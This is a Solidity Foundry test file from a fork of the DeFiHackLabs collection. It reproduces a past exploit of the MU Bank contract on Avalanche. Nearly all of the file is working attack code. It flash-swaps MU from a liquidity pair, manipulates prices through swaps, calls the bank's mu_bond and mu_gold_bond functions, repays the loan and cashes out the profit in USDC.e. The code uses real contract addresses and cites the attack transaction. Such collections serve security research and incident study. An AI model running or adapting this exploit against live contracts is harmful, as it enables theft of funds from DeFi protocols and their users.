forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 3
/
MUMUG_exp.sol
98 lines (83 loc) · 3.15 KB
/
MUMUG_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/BeosinAlert/status/1601422462012469248
// @TX
// https://snowtrace.io/tx/0xab39a17cdc200c812ecbb05aead6e6f574712170eafbd73736b053b168555680
interface MUBank{
function mu_bond(address stable, uint256 amount) external;
function mu_gold_bond(address stable, uint256 amount) external;
}
contract ContractTest is DSTest{
MUBank Bank = MUBank(0x4aA679402c6afcE1E0F7Eb99cA4f09a30ce228ab);
IERC20 MU = IERC20(0xD036414fa2BCBb802691491E323BFf1348C5F4Ba);
IERC20 MUG = IERC20(0xF7ed17f0Fb2B7C9D3DDBc9F0679b2e1098993e81);
IERC20 USDC_e = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);
Uni_Router_V2 Router = Uni_Router_V2(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
Uni_Pair_V2 Pair = Uni_Pair_V2(0x67d9aAb77BEDA392b1Ed0276e70598bf2A22945d); // MU MUG
uint FlashLoanAmount;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("Avalanche", 23435294);
}
function testExploit() public{
MU.approve(address(Router), type(uint).max);
MUG.approve(address(Router), type(uint).max);
USDC_e.approve(address(Router), type(uint).max);
USDC_e.approve(address(Bank), type(uint).max);
FlashLoanAmount = MU.balanceOf(address(Pair)) - 1;
Pair.swap(FlashLoanAmount, 0, address(this), new bytes(1));
MUGToUSDC_e();
emit log_named_decimal_uint(
"[End] Attacker USDC.e balance after exploit",
USDC_e.balanceOf(address(this)),
6
);
}
function joeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
MUToUSDC_e();
Bank.mu_bond(address(USDC_e), 3_300 * 1e18);
Bank.mu_gold_bond(address(USDC_e), 6_990 * 1e18);
USDC_eToMU();
MU.transfer(address(Pair), FlashLoanAmount * 1000 / 997 + 1000);
}
function MUToUSDC_e() internal {
address [] memory path = new address[](2);
path[0] = address(MU);
path[1] = address(USDC_e);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
MU.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
}
function USDC_eToMU() internal {
address [] memory path = new address[](2);
path[0] = address(USDC_e);
path[1] = address(MU);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
USDC_e.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
}
function MUGToUSDC_e() internal {
address [] memory path = new address[](3);
path[0] = address(MUG);
path[1] = address(MU);
path[2] = address(USDC_e);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
MUG.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
}
}